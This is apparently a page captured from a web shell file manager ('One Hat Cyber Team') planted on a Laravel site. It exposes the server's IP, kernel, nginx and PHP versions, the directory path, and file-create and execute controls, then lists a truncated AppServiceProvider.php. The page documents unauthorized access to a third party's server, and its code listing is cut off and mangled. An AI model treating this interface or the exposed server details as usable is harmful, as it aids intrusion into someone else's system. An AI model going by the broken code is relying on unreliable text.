⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
dosbarth.urvam.com
/
app
/
Providers
/
View File Name :
AppServiceProvider.php
(object) Setting::pluck('value', 'key')->all()); Cache::rememberForever('seo_setting', fn () => (object) SeoSetting::all()->groupBy('page_name')->mapWithKeys(function ($group, $pageName) { return [$pageName => $group->first()]; })); } catch (\Throwable $th) { logger($th); } /** Share setting to all views */ View::composer('*', function ($view) { $setting = Cache::get('setting'); $seo_setting = Cache::get('seo_setting'); $view->with(['setting' => $setting, 'seo_setting' => $seo_setting]); }); // set timezone date_default_timezone_set(Cache::get('setting')?->timezone ?? config('app.timezone')); /** * Register custom blade directives * this can be used for permission or permissions check * this check will be perform on admin guard */ $this->registerBladeDirectives(); Paginator::useBootstrapFour(); } protected function registerBladeDirectives() { Blade::directive('adminCan', function ($permission) { return "guard('admin')->user()->can({$permission})): ?>"; }); Blade::directive('endadminCan', function () { return ''; }); } }